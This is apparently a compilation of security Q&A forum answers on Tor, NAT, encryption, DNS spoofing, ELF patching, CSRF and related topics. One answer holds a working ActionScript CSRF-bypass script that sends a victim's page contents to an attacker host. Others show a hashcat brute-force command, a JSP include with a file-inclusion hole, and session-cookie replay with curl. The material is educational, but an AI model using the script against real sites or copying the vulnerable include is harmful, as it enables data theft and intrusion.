Protocols used during data transfer have the ability to modify or delete your data. The security risk in this case would be loss of integrity of the data (it gets changed), or loss of availabilty of the data (it gets deleted). Mitigation against loss of integrity is the use of cryptographic hashes (which will indicate if your data is intacted or not). Additional mitigation might be error-correcting codes which allow you to recover data that is altered. Mitigation against loss of availability is data backup and properly configured access control. The backup can restore the availability of data if it is destroyed, and the access control can limit who can delete which data.


Tor via Python - can the real IP address leak?

In this case, no it won't leak.

What you're doing in Python here is simply making an HTTP request via a proxy that happens to be Tor's local SOCKS proxy. The response of this request will basically be some text. Regardless of the actual content of this response, your Python "client" will not actually parse the response or user plugins to run certain contents. The HTTP request is passed through Tor and no subsequent requests will happen depending on the response.

So, plugins or not, JavaScript or not, it all won't affect your case. Also, when calling setdefaultproxy(), you're setting rdns to true which will prevent DNS leaks by performing the DNS lookups remotely.

The quote you posted is written in a slightly paranoid language. They obviously don not mean that 100% of the cases your IP will leak if you don't use Tor Browser Bundle. They just mean that it's far more likely that you'll miss something while using your own browser, like that DNS setting, not disabling plugins, and so on.


How to find public IP, if it replaced by NAT IP?

In my answer, I will assume that, when you write "I placed first IPS and then firewall (with Nat)", you actually mean that you have a NAT device (which might be a firewall) in between your IPS and Internet. If that is not the case, please update your question and leave a comment.

In such case, NAT should not create any specific issue because, typically, you're going to use DNAT for connections (and datagrams) comming from the outside. This type of NAT will replace the destination IP only, leaving the source IP untouched. It means that you'll get the IP of the real, internal server that will be affected and the original (source) IP of the attacker (or, at least, the source address contained in the IP header: it will not give you the real attacker if the packet has been spoofed)

For instance, if you have a packet coming with source IP 1.2.3.4:4556 (attacker) for server 5.6.7.8:80 (public server IP address), here is what will happen:

Original packet: S: 1.2.3.4:4556 D: 5.6.7.8:80
DNATed packet:   S: 1.2.3.4:4556 D: 10.0.0.8:80

(Note that more complex NAT rule could change this. It is possible to fully replace source AND destination addresses and ports but that is only used in very specific cases and, since you're the one creating the NATing rules, you should know about it).


Cracking tools like hashcat have a brute-force mode that allows you to specify a mask.  One of the available masks is for binary data, so you could use that to attempt to crack your hash.

Something like:

hashcat --attack-mode 3 --increment hash.txt ?b?b?b?b?b?b?b?b

You'll still need to specify --hash-type, but you can find the appropriate value from hashcat's help page.


CSRF Bypass using ActionScript via weak CrossDomain.xml

After performing a few tests, I was able to modify the script mentioned above to set any custom header ( except for Referer and User-Agent headers that browsers do not allow):

Also, This works only if the target and attacking machine should have following crossdomain.xml:

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-
domain-policy.dtd">
<cross-domain-policy>
 <allow-access-from domain="*" secure="false"  />
 <allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

And here is the AS3 script that worked for me:

package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;

public class FlashTest extends Sprite {

    public function FlashTest() {
        // write as3 code here..

        //Set Header
        var headers:Array = [new URLRequestHeader("TestHeader", "Test123")];

        //Target URL
        var readFrom:String = "http://192.168.253.133/Target.htm";
        var readRequest:URLRequest = new URLRequest(readFrom);
        readRequest.requestHeaders = headers;
        readRequest.data  = "ThisDoesNotMatter" //POST data
        readRequest.method = URLRequestMethod.POST
        //readRequest.requestHeaders.push();
        var getLoader:URLLoader = new URLLoader();
        getLoader.addEventListener(Event.COMPLETE, eventHandler);
        try
        {
            getLoader.load(readRequest);
        }
        catch(error:Error)
        {

        }
    }

    private function eventHandler(event:Event):void
    {
        var sendTO:String = "http://mymalicioussite.com";
        var sendRequest:URLRequest = new URLRequest(sendTO);
        sendRequest.method = URLRequestMethod.POST;
        sendRequest.data = event.target.data;
        var sendLoader:URLLoader = new URLLoader();
        try
        {
            sendLoader.load(sendRequest);
        }
        catch(error:Error)
        {

        }
      }
    }
}//package


How do session keys in public key cryptography work?

What is a session key?

  A session key is a single-use symmetric key used for encrypting all messages in one communication session.

Scenario:

  Alice would like to establish a secure communication with Bob. But she cannot provide the key in plain text, otherwise someone sniffing the communication might be able to decrypt the information later on. What does she do?

Solution:

  She sends a symmetric key securely by making use of an asymmetric algorithm. Why not simply doing all the communication with asymmetric algorithm? Because symmetric is way faster!

  Implementation:

  Alice generates a symmetric key
  Alice encrypts an e-mail including the symmetric key by using Bob's public key and send it to him
  Bob, the only one who can decrypt the message since he has the respective private key, is able to securely get the symmetric key.
  Communication can now be sent by Alice and read by Bob


Security risks of symmetric encryption with compression for database data

CRIME and BREACH depend on the attacker to control part of the data and then see how the length of the encrypted data changes. In the case of a web application the attacker can often control part of the data but has no knowledge how much space the data need after compression and encryption.

  DB contents can be stolen

To make these compression based attacks work the attacker has to be able to control the input to the database and then steal the database again and again after each change in the attacker controlled input. If the attacker is capable of stealing the database again and again then you might have other serious problems (like the attacker having direct access to the encryption key) and encryption will probably not help you anyways.

  server compromised etc

The server has to be compromised in a way that the attacker can control parts of input to the database and is able to read the encrypted input or at least determine it's size. This is a very specific scenario and in most cases the attacker will probably be deeper in the system and has access to the encryption keys anyway. Or that attacker is not that deep in the system and has no access to the encrypted data or the size of the encrypted data.

  ...I also do wonder whether my proposed solution will in fact protect the encrypted data against attacks related to compression

No it will not. Since you are adding a fixed number of random bytes at the beginning you will in effect just add a string which in most cases cannot be further compressed. And thus you just add a fixed length to the compressed content which does not make this kind of attacks any harder. A better way would be to add a random amount of data but this will also only slow down the attack.

For a more detailed discussion see Can BREACH be thwarted by simply adding a sort of "salt" into the page being compressed?.


You should look at a solution such as OSSEC or Fail2ban. It will do exactly what you want to achieve. However UDP spoofing is difficult to block, because you can freely spoof the IP address.


Despite what Wikipedia may say, they are not the same.  Roughly speaking, DNS cache poisoning is one way to do DNS spoofing, but there are other ways to do it, too.

DNS spoofing refers to the broad category of attacks that spoof DNS records.  It is a category of attacks (an end goal of the attack, rather than a particular attack mechanism).  There are many different ways to do DNS spoofing: compromise a DNS server, mount a DNS cache poisoning attack (such as the Kaminsky attack against a vulnerable server), mount a man-in-the-middle attack (if you can get access to the network), guess a sequence number (maybe making many requests), be a false base station and lie about the DNS server to use, and probably many more.

DNS cache poisoning is one way to do DNS spoofing.  DNS cache poisoning refers to the following scenario: many end users use the same DNS cache, and an attacker manages to inject a forged DNS entry into that cache.  For example, many ISPs will run a caching DNS server and arrange for their customers (the end users) to all try the ISP's server first.  If an attacker can find some way to get the caching DNS server to cache an incorrect record, then the attacker is set: he has managed to successfully spoof DNS records and affect all the end users who rely upon that cache.

How does an attacker manage to poison a DNS cache?  Well, one common way is to mount some DNS spoofing attack on the DNS request from the cache to the ultimate DNS server.  Yes, I realize this gets a little recursive. :-)  Basically, you use any DNS spoofing attack to get the cache to accept a spoofed record (here you can use any DNS spoofing attack that you can).  Afterwards, the result is that the cache will cache that bogus record, and consequently many end users will now accept that spoofed record too.


Getting RSA private key from prime1, modulus and publicExponent

This challenge is part of an ongoing French DGSE services challenge. You have one thing that's missing. Check again how you obtained your prime1 number. The parameter went through specific substitutions that can be reversed but not in a simple way.


ImportError: No module named posix

Is the problem here. You can either attempt to drop to a bash shell and use

pip install posix

Or the best solution is to just remove

import posix

and replace it with

import os


is sms two factor authentication possible to add to SSHing into an AWS EC2?

Yes, there are ways to set up multi-factor auth for ssh. Generally they use HOTP, rather than an sms auth; this is more secure, so it's what you should really prefer anyways.


How to scan allowed outbound (destination) ports on the local host?

If you just care which ports are allowed as outgoing target on your machine just do a packet capture at the remote host to see which packets from your client reach the remote host. There does not need to be a listener there in order for the packet to arrive at the host, it only needs a listener in order to respond to the packet.


RFI - Is this possible even if you use an Application Server?

It's possible to have a file inclusion attack on JBoss (e.g exploit code: https://www.exploit-db.com/exploits/36553/).

I've tested the Remote Code Execution & had it's instances landed to file inclusions such as the follows:

A more detailed explanation of this could be found at: http://securityxploded.com/JBoss%20Whitepaper.pdf

Since, it's Java Tier; even the middleware could be prone to attacks given in context that File Inclusions (whether remote or local) is caught due to lack of proper sanitisation or validations.

Example code:

<jsp:include page="<%=(String)request.getParameter(\"template\")%>">

The sample code takes a user specified template name and includes it in the JSP page to be rendered. This could be a local file inclusion. However, RCE exists in JBoss & could be easily manipulated to achieve further escalation into file inclusions.


Security Scanning for Desktop Applications

Web application scanners are hardly be the be all end all of web application security and simply running an off the shelf tool will not solve the the problem of an insecure application.  That being said,  the security impact of a desktop application is highly dependent on what your application does.  Is it a server?  Does it communicate over a network?  Does it have a database?

No off the shelf application can solve this problem.  You need to hire a professional security analyst to review this application and (most likely) test it manually.


Can website exploit kits contain bootkits?

An exploit kit focuses on exploiting certain application (typically a browser). After that it generally downloads a second stage payload which adds the computer to a botnet/installs ransomware/steals your banking credentials/etcetera.

As part of the later stages, it will try to gain persistence and escalate even more if possible, May one of them be attempting to flash the BIOS/UEFI? Yes

Could it all be included in the exploit kit? Yes, although highly unlikely. That would be  usuallyleft for a later binary, in the rare case it was done at all. Note that nowadays you have a group an exploit kit, which is sold to a different group, that infects computers and sells them to other groups with completely different goals... It's no longer the case that each group did everything on its own from exploitation to persistance and <whatever is their goal>


Decrypting encrypted traffic with hacking an app

telegram probably will use features that are built in a mobile phone operating system to keep those cryptographic keys, for example Android key Store or Apple's Keychain.
these key store mechanism will in turn utilising the hardware provided by mobile phone to prevent key extraction.


Is ProtonMail implemented a mechanism to prevent cookies stealing?

A (specific) : I'm not getting the same results as you are. I can take the session and AUTH cookies, and re-use them in a terminal window to curl for the Conversations JSON payload (among others).
I can even remove the cookie called Session-ID and it still works. I will note that I deleted the header called x-pm-uid and the subsequent request failed. Maybe you've missed that one in your custom user agent?
For others that may be unaware, to achieve this, I opened DevTools (as described in my rather condescending comment 8D and thanks to @mti2935 for F12), performed a login against https://dev.protonmail.com, found an appropriate network event after login was successful, then right-clicked, and selected Copy -> Copy as cURL.
(Note: I tested against dev.protonmail and also mail.protonmail - both worked in parallel, in the same manner.)
A (hypothetical) : Without having put any decent amount of thought into this, my idea to try and force users to continue to use the device they authenticated on would be to cryptographically bind the AUTH session cookie to various properties of the remote user's session and software: this would no doubt look similar to browser fingerprinting techniques.
I would then also re-encrypt the AUTH cookie each time with AEAD. The nonce would encode the number of times the cookie has been used. I would look at deriving this from a short timestamp combined with a pseudo-random seed that becomes an incrementing counter^. The server would need to keep a local copy of the counter and seed, as a session variable, so as to avoid replay and nonce-reuse. Any attempt at regression would invalidate the protocol instance and force another login.
All of this could be side-stepped, of course, however, it could be made to be quite painful to achieve for the average joe... sons and daughters of any dev coding a new UA would curse my name for generations to come... aah, infamy! ... but I digress. It would no doubt thoroughly p*** the users off as well, as they had to keep logging in any time they resized their browser window or idled and then reconnected to the server!
^ (The main reason why you would do it this way is to further frustrate any attempt to lift the AUTH cookie. The server could derive the seed from the authentication and the timestamp using some keyed hash, and then increment this as each iteration of the protocol progresses. Here is an unrelated but quite interesting tangent on visualising un/predictable TCP sequence numbers Zalewski '01.)


Difference between information flow control, data flow integrity, and tainting

Information flow control is a broad concept, but the crux of it is that one can attempt to increase the security of a process by identifying which parts of memory it should legitimately modify, and then comparing that to which parts of memory it actually attempts to modify. This can be as broad or granular as you like: you could consider Code Access Security as a very board form of IFC, or even something as simple as file permissions and auditing. More commonly, though, IFC is applied to code at compile/link time and enforced in the generated assembly (or in the language runtime if the program is JIT-based). This can also, more broadly, be applied to cases such as information leakage, where you want to understand how a sensitive piece of information makes its way through the system.

Taint analysis is a mechanism by which some aspects of IFC can be implemented. In order to produce the whitelist of legitimate memory sections that an operation is expected to touch, the compiler assesses the code for what variables are read/written, which functions are called, and what code paths are expected to be followed (e.g. if a method is called with a static value, it can infer that certain branches must always be taken / not taken). This list can be considered to be a list of entities which are tainted by the operation. In a more broad case, taint checking can also be used as part of code analysis techniques where sources (i.e. locations where untrusted input arrive from) can be mapped against drains (i.e. locations where security-relevant operations occur), such that each source has a list of tained drains, and each drain has a list of sources from which it can potentially be tainted - this is commonly demonstrated by considering a case where URL value (source) might reach a SQL query (drain), resulting in SQL injection.

Data flow integrity is simply a term used to describe whether or not an application under IFC protection has strayed outside the expected flow. When the program runs, it is instrumented in some fashion in order to ensure that each instruction or set of instructions does not violate data flow integrity, i.e. the values which were expected to be untainted by the operation have remained so.


Probably vulnerable.
CVEDetails has a list of 49 vulnerabilities for that version.
Take your pick.
Also: Debian 3.1 has had no security updates for nine years.


"1234 1234 XXXX 1234" in a statement from an ATM

freeformatter.com has a nice overview of how credit cards are built up, and lets you easily verify if a given number is valid or not. Combining this with the fact that you only lack 4 digits, guessing your entire card number should not be too difficult.
So how bad is that? Well assuming your card's validity date and its CVC number is not compromised, it would still require some amount of guessing to get everything needed to abuse your card. Such info may be possible to discover in various ways, depending on what type of card you have (only Visa cards are susceptible to the particular method described here; others will block multiple failed payment attempts for a single card even if they originate from different stores).
So how do you minimize any risk here?

Well, first of all, avoid letting any such statement (I assume it was a paper receipt) lay about for anyone to find, and try in general to keep secret

Secondly, enable some kind of two factor authentication for your payment card, if possible. To quote the linked article:

Additionally, all payments secured with the 3D Secure technology (Verified by Visa, American Express SafeKey, or MasterCard SecureCode) are also safe. Payment card owners are urged to turn on 3D Secure details for their
accounts, which in most cases are provided for free.

Personal side-note rant: I think it's kind of absurd that basic info in clear text which everyone carries around with them everywhere is enough to carry out a transaction on someone's behalf. This is reminiscent of how a social security number can sometimes be used to do stuff that ought to require more thorough authentication. The issue in both cases is that what should be considered an ID number is treated as though it were a password. In an ideal world, some form of two factor authentication should be the default - then it would hardly even matter if both your card number and its expiration date were public information.


Sharing sensitive information across servers on visits from the same browser

Without more data I can only hint at some ideas.

I see two basic strategies:

Encryption: Webserver B has a public/private key. Webserver a knows B's public key. When the client makes the request to A, A returns the data encrypted with B's public key. The browser then passes the information to B for processing.
Side channel: When the browser contacts A, a token is returned. The browser passes the token to B. B then contacts A directly, likely authenticating to A, and passes A the token. A, upon seeing the token and that the current user is B, sends the data directly to B.

Hope this helps. Add more information to your question if you want more specifics.


How do I verify that my CSRF fix is successful using Burp?

For any CSRF issue, the general demonstration of prevention is showing that repeating the same request with the same preventative token, or with no preventative token, doesn't result in any data on the server changing.

Therefore, perform a legitimate request, send it to repeater, and try performing it again. If it works, the CSRF protection isn't working.

Then remove the CSRF token and send it again. If it works, the protection isn't working.


Injection of code into executable - Size question

Binary modification is a complex subject and requires some understanding of the system's application binary interface (ABI), process layout in virtual memory, the runtime environment, and the compilation process. Background information will be discussed here in order to provide context for the answer to the question.

1. Code Injection vs. Static Binary Modification (Patching)

From the question:

  Code injection into binary is the process of injecting some malicious code into a legitimate binary.

  A lot of code injection projects that I have seen will find a large \x00 into .text section in order to inject their shellcode. They then change the address of the entry point in order to point to the injected shellcode. The injected shell code will then point to the beginning of the original code after finishing.

Code injection usually refers to code included in input entered at program runtime, which differs from the process described above, in which a binary is statically modified prior to program execution in order to alter its runtime behavior.

From MITRE's Common Weakness Enumeration (CWE) entry regarding code injection (emphasis mine):

  Description Summary

  The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

  Extended Description

  When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.

  Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

One implication here is that code injection is a technique employed at program runtime in order to alter program behavior. A second implication is that code injection includes executable code in input whose origin is external to the binary itself, and code injection does not alter the structure of the binary.

Altering the structure of an executable binary prior to execution can be referred to as static binary instrumentation, but is more commonly referred to as patching.

From PEBIL: Efficient Static Binary Instrumentation for Linux (emphasis mine):

  There are two main approaches to binary instrumentation: static and dynamic. Static binary instrumentation inserts additional code and data into an executable and generates a persistent modified executable whereas the dynamic instrumentation inserts additional code and data during execution without making any permanent modifications to the executable.

The distinction between runtime process modification and static modification is important, because their technical implications are quite different.

2. Sections, Segments, Linking and Relocation

From the question:

  Sometimes, there is not enough available \x00 bytes into the .text section in order to perform this action. So, the project will not be able to perform that injection.

  Why don't they just increase the size of the ".text" section segment?

There is an important distinction between sections and segments in ELF binaries:

  Sections hold the bulk of object file information for the linking
  view: instructions, data, symbol table, relocation information, and so on1

Sections and their associated information are used by ld to perform relocation and symbol resolution.

segments and their associated information are used by the program loader in the kernel to map portions of the binary file on disk into virtual memory at the correct offsets

Here is a diagram from the System V ABI contrasting sections with segments:

  Object files participate in program linking (building a program) and program execution (running a program). For convenience and efficiency, the object file format provides parallel views of a file’s contents, reflecting the differing needs of these activities.1

Why does this matter? The address ranges of the a program's sections, including the .text section, as well as the address range of the .text segment, are both determined by the linker which is invoked on the object file at after preprocessing, compilation and assembly. From Advanced C and C++ Compiling page 26:

  •  The ultimate intention behind the idea of building the program is that the sections obtained by compiling individual source files be combined (tiled) together into the single binary executable file. Such binary file would contain the sections of the same type (.text, .data, .bss, . . . ) obtained
  by tiling together the sections from the individual files. Figuratively speaking, an object file can be viewed as a simple tile waiting to find its place in the giant mosaic of the process
  memory map.

  •  The inner structure of the object file does not, however, suggest where the individual sections will ultimately reside in the program memory map. For that reason, the address ranges of each section in each of the object files is tentatively set to start from a zero value.

  The actual address range at which a section from an object file will ultimately reside in the program map will be determined in the subsequent stages (linking) of program building process.

  •   In the process of tiling object files’ sections into the resultant program memory map, the only truly important parameter is the length of its sections, or to say it more precisely, its address range.

Page 27:

It should also be noted that an executable ELF binary's text segment consists of multiple sections in addition to linked .text sections:

sections:

$ readelf -SW /bin/ls
There are 29 section headers, starting at offset 0x1e738:

Section Headers:
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        0000000000400238 000238 00001c 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            0000000000400254 000254 000020 00   A  0   0  4
  [ 3] .note.gnu.build-id NOTE            0000000000400274 000274 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0000000000400298 000298 0000c0 00   A  5   0  8
  [ 5] .dynsym           DYNSYM          0000000000400358 000358 000cd8 18   A  6   1  8
  [ 6] .dynstr           STRTAB          0000000000401030 001030 0005dc 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          000000000040160c 00160c 000112 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         0000000000401720 001720 000070 00   A  6   1  8
  [ 9] .rela.dyn         RELA            0000000000401790 001790 0000a8 18   A  5   0  8
  [10] .rela.plt         RELA            0000000000401838 001838 000a80 18  AI  5  24  8
  [11] .init             PROGBITS        00000000004022b8 0022b8 00001a 00  AX  0   0  4
  [12] .plt              PROGBITS        00000000004022e0 0022e0 000710 10  AX  0   0 16
  [13] .plt.got          PROGBITS        00000000004029f0 0029f0 000008 00  AX  0   0  8
  [14] .text             PROGBITS        0000000000402a00 002a00 011289 00  AX  0   0 16
  [15] .fini             PROGBITS        0000000000413c8c 013c8c 000009 00  AX  0   0  4
  [16] .rodata           PROGBITS        0000000000413ca0 013ca0 0069b4 00   A  0   0 32
  [17] .eh_frame_hdr     PROGBITS        000000000041a654 01a654 00080c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        000000000041ae60 01ae60 002c84 00   A  0   0  8
  [19] .init_array       INIT_ARRAY      000000000061de00 01de00 000008 00  WA  0   0  8
  [20] .fini_array       FINI_ARRAY      000000000061de08 01de08 000008 00  WA  0   0  8
  [21] .jcr              PROGBITS        000000000061de10 01de10 000008 00  WA  0   0  8
  [22] .dynamic          DYNAMIC         000000000061de18 01de18 0001e0 10  WA  6   0  8
  [23] .got              PROGBITS        000000000061dff8 01dff8 000008 08  WA  0   0  8
  [24] .got.plt          PROGBITS        000000000061e000 01e000 000398 08  WA  0   0  8
  [25] .data             PROGBITS        000000000061e3a0 01e3a0 000260 00  WA  0   0 32
  [26] .bss              NOBITS          000000000061e600 01e600 000d68 00  WA  0   0 32
  [27] .gnu_debuglink    PROGBITS        0000000000000000 01e600 000034 00      0   0  1
  [28] .shstrtab         STRTAB          0000000000000000 01e634 000102 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

segments and section-to-segment mappings:

$ readelf -l /bin/ls

Elf file type is EXEC (Executable file)
Entry point 0x4049a0
There are 9 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000001f8 0x00000000000001f8  R E    8
  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238
                 0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x000000000001dae4 0x000000000001dae4  R E    200000
  LOAD           0x000000000001de00 0x000000000061de00 0x000000000061de00
                 0x0000000000000800 0x0000000000001568  RW     200000
  DYNAMIC        0x000000000001de18 0x000000000061de18 0x000000000061de18
                 0x00000000000001e0 0x00000000000001e0  RW     8
  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254
                 0x0000000000000044 0x0000000000000044  R      4
  GNU_EH_FRAME   0x000000000001a654 0x000000000041a654 0x000000000041a654
                 0x000000000000080c 0x000000000000080c  R      4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     10
  GNU_RELRO      0x000000000001de00 0x000000000061de00 0x000000000061de00
                 0x0000000000000200 0x0000000000000200  R      1

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07
   08     .init_array .fini_array .jcr .dynamic .got

The third segment (segment 02) is of type LOAD, has execute permissions, and corresponds to the process text segment in virtual memory. Here, this segment consists not only of the .text section but also several others, some of which consist of data rather than instructions, such as the .rodata section.

In light of the information of sections and segments shown above, it is important to note the at linker controls the following:

section definitions

  The most frequently used statement in the SECTIONS command is the section definition, which specifies the properties of an output section: its location, alignment, contents, fill pattern, and target memory region. Most of these specifications are optional

section attributes
section placement

  In a section definition, you can specify the contents of an output section by listing particular input files, by listing particular input-file sections, or by a combination of the two. You can also place arbitrary data in the section, and define symbols relative to the beginning of the section.

memory layout

  The linker's default configuration permits allocation of all available memory. You can override this configuration by using the MEMORY command. The MEMORY command describes the location and size of blocks of memory in the target. By using it carefully, you can describe which memory regions may be used by the linker, and which memory regions it must avoid. The linker does not shuffle sections to fit into the available regions, but does move the requested sections into the correct regions and issue errors when the regions become too full. A command file may contain at most one use of the MEMORY command; however, you can define as many blocks of memory within it as you wish.

Looking at a sample output from a link map shows in a concrete manner that it is the linker that controls program memory layout through the assignment of memory addresses to sections and symbols:

.plt.got
 *(.plt.got)

.text           0x0000000008048074        0xa
 *(.text.unlikely .text.*_unlikely .text.unlikely.*)
 *(.text.exit .text.exit.*)
 *(.text.startup .text.startup.*)
 *(.text.hot .text.hot.*)
 *(.text .stub .text.* .gnu.linkonce.t.*)
 .text          0x0000000008048074        0xa test.o
                0x0000000008048074                main
 *(.gnu.warning)

.fini
 *(SORT(.fini))
                [!provide]                        PROVIDE (__etext, .)
                [!provide]                        PROVIDE (_etext, .)
                [!provide]                        PROVIDE (etext, .)
.rodata
 *(.rodata .rodata.* .gnu.linkonce.r.*)

.rodata1
 *(.rodata1)

.eh_frame_hdr
 *(.eh_frame_hdr)
 *(.eh_frame_entry .eh_frame_entry.*)

.eh_frame       0x0000000008048080       0x38
 *(.eh_frame)
 .eh_frame      0x0000000008048080       0x38 test.o
 *(.eh_frame.*)

3. Direct Answer to Question

  Why don't they just increase the size of the ".text" section segment? Is it because of security reasons?

The address range of the .text section and the layout of the text segment in memory are determined by the linker at binary build time. In order for any changes to these to be made, access to the source code of the binary is required, since the binary would have to be rebuilt (compiled -> assembled -> linked) with a new memory layout, which is controlled by the linker.

Patching is performed if rebuilding the binary (which implies access to the source code) cannot be done.

1. SYSTEM V APPLICATION BINARY INTERFACE Edition 4.1


Secure and private connection to GnuPG keyservers

Options 1 and 2 seem very similar, since both rely on the TLS protocol, so which is more secure will depend on the nature of the certificates (key size, supported algorithms) and the configuration of the servers (version support).
Tor on the other hand tries to protect the origin of the communication, so it adds an extra layer of protection to hide the address where the request comes from.
There was some paper explaining why TOR may be vulnerable if an observer has control of several routing AS, but in that case, the observer must have huge control of the network.
If you are the only one using TOR in your context, and your are trying to protect from some sniffer, TOR traffic may at least reveal some of your activity.


Does Facebook storing old passwords compromise security?

The other answers look pretty reasonable, but I wanted to add a few possibilities.

If an attacker recovers one or more of your passwords from other breaches, it seems like plugging them into Facebook's UI could leak at least a few types of information:

Whether you used the password on multiple services or not.
With known disclosure dates for the breach, they could also gain a data point on how long it took you to update the password.

If pattern-matching on recovered passwords suggests a likely iterator or mutation pattern in your password, it also seems like an attacker could also try one or two passwords they haven't seen in order to support or refute a thesis about how your passwords evolve over time.

I would guess any attacker is somewhat limited in how many such tests they could attempt without someone noticing, but it seems like information along these lines could inform heuristics for how known users change their passwords, improve statistics on how common different update patterns are, and help hone priority lists of users/accounts that are most vulnerable.

These seem like fairly small risks at the individual level, but it also seems like (Martin Bos' post on cracking hashes in the LinkedIn breach is instructive) small heuristic improvements turn into pretty nice levers for recovering more passwords in a large scale breach while simultaneously improving the heuristic/lever.


Router or Switch can defend against ARP spoofing attack?

Many modern routers implement arp-spoofing protection as an inbuilt feature.

As Sunny points out, old-school switches ran on Layer 2, and typically didn't analyse Layer 3 (Network Layer) whereas routers do. That said, more modern switches may incorporate functionality that you would expect in a router, and even up to Layer 7 handling QoS and Deep Packet Inspection.


How are private and public keys different?

Public and private key in a key pair are distinct aspects of an underlying mathematical structure.

Let's take some examples:

In RSA, the public key consists in a big composite integer n (called the modulus), and a (usually short) odd integer (the "public exponent"). The private key is, ultimately, the knowledge of the prime factors of n. In practice, n = pq for two big primes p and q, and the private key is p and q.
In ECDSA, we operate over an elliptic curve, which is a weird mathematical animal that contains "points". A curve is a group of a certain size q. The private key x is a non-zero integer modulo q (that is, an integer between 1 and q-1); the public key is a point on the curve, which happens to be the result of applying the group law x-1 times on a conventional, fixed point (called the "generator").

In both cases, there is a strong mathematical relation between the private and public key, but they still are very distinct things. Also, the structure on which asymmetric cryptography works depends on the algorithm, and there is quite some variety.

Last but not least, DKIM is not about encryption. It is a mechanism that uses signatures. You apparently stumbled upon one of the many texts that purport to explain signatures as "encrypting the hash". Be aware that all these explanations are both confusing and wrong.


There are plenty android applications in the market.

I am using K9 with APG (Android Privacy Guard) and I am very pleased.

K-9 Mail is a free and open source email client for Android devices, that integrates seamlessly with Android Privacy Guard.

Android Privacy Guard (APG) is a free and open source application that lets you encrypt, decrypt and sign files, messages or emails using Public Key Encryption (like OpenPGP) or encrypt/decrypt files or messages with symmetric encryption, securing them with a password.

The use of these two tools allows for easy encrypting and decrypting of email messages.


Will Wordpress nonces protect against Login CSRF?

Yes, Wordpress nonces can protect against login CSRF.

Wordpress nonces can be applied to URLs and also forms, like the login form:

  To add a nonce to a form, call wp_nonce_field() specifying a string
  representing the action. By default wp_nonce_field() generates two
  hidden fields, one whose value is the nonce and one whose value is the
  current URL (the referrer), and it echoes the result. For example,
  this call:

wp_nonce_field( 'delete-comment_'.$comment_id );

  might echo something like:

<input type="hidden" id="_wpnonce" name="_wpnonce" value="796c7766b1" />
<input type="hidden" name="_wp_http_referer" value="/wp-admin/edit-comments.php" />

Usually, nonces are created attached to a user that is logged in because it makes sense to protect users that are logged in. But login CSRF is special because it can be used to target logged out user by logging them in.

Looking through the wp_create_nonce code I can see that nonces are created for logged out users as well:

function wp_create_nonce($action = -1) {
    $user = wp_get_current_user();
    $uid = (int) $user->ID;

    if ( ! $uid ) {
        $uid = apply_filters( 'nonce_user_logged_out', $uid, $action );

    }

    $token = wp_get_session_token();
    $i = wp_nonce_tick();

    return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
}

Then use wp_verify_nonce to verify the nonce. It returns false if the nonce in invalid. Otherwise, returns an integer with the value of:

1: if the nonce has been generated in the past 12 hours or less.
2: if the nonce was generated between 12 and 24 hours ago.


Exploiting a potential ASP.NET web app Session Fixation vulnerability

It looks like you have copied the example attacks directly from the OWASP page on Session Fixation.

To clarify - these are intended to be examples specific to a system that has another vulnerability besides Session Fixation (XSS, HTML Injection, etc) - these are not attacks that are likely to work in any real world situation.

If you wanted to execute this attack there would be two steps:

Find a vulnerability that would allow you to set the authentication
cookie for another user.  Your best best would probably be XSS or
HTML injection.  To find this type of vulnerability you would
probably want to do a security assessment of the site where you
catalog all HTTP requests that can be made.  You would then
fuzz all inputs at the HTTP level in an automated fashion and
look for indications that a vulnerability exists.  For possible
vulnerabilities you would go in and manually test to see if anything
is really there.
If you find any vulnerabilities in the previous stage you could
then attempt a Session Fixation attack.

Hope this helps.


